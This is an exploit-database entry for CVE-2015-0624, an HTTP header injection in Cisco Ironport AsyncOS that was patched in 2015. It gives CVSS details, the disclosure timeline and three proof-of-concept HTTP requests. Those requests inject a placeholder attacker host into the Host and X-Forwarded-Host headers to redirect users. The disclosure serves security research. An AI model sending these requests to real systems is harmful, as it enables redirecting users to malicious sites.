Exploitalert - Database of Exploits

Cisco Ironport AsyncOS HTTP Header Injection

CVE	Category	Price	Severity
CVE-2015-0624	CWE-113	Not specified	High

Author	Risk	Exploitation Type	Date
Unknown	Medium	Remote	2015-02-25

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

http://cxsecurity.com/ascii/WLB-2015020131

Cisco Ironport AsyncOS HTTP Header Injection Vendor: Cisco Product webpage: http://www.cisco.com Affected version(s): Cisco Ironport ESA - AsyncOS 8.0.1-023 Cisco Ironport WSA - AsyncOS 8.5.5-021 Cisco Ironport SMA - AsyncOS 8.4.0-138 Date: 24/02/2015 Credits: Glafkos Charalambous CVE: CVE-2015-0624 Disclosure Timeline: 28-10-2014: Vendor Notification 28-10-2014: Vendor Response/Feedback 22-01-2015: Vendor Fix/Patch 20-02-2015: Vendor Advisory Release 24-02-2015: Public Disclosure Description: Cisco AsyncOS is vulnerable to unauthenticated HTTP Header Injection, caused by improper validation of user supplied input when handling HTTP Host and X-Forwarded-Host request headers. An attacker is able to inject crafted HTTP headers that could cause a web page redirection to a malicious website. PoC #1 GET https://ironport:8443/network/wga_ip_interfaces HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 DNT: 1 Cookie: sid=jdLIhsguH36OUkUZqSpn; authenticated=pME7nskMH6zQ6JmonjZd Connection: keep-alive Content-Length: 0 Host: ironport:8443:@[attacker.com] PoC #2 GET https://ironport:8443/network/wga_ip_interfaces HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 DNT: 1 Cookie: sid=jdLIhsguH36OUkUZqSpn; authenticated=pME7nskMH6zQ6JmonjZd Connection: keep-alive Content-Length: 0 Host: [attacker.com] PoC #3 GET https://ironport:8443/monitor/wsa_user_report HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 DNT: 1 Cookie: sid=jdLIhsguH36OUkUZqSpn; authenticated=pME7nskMH6zQ6JmonjZd Connection: keep-alive Host: ironport:8443 X-Forwarded-Host: [attacker.com] References: http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2015-0624

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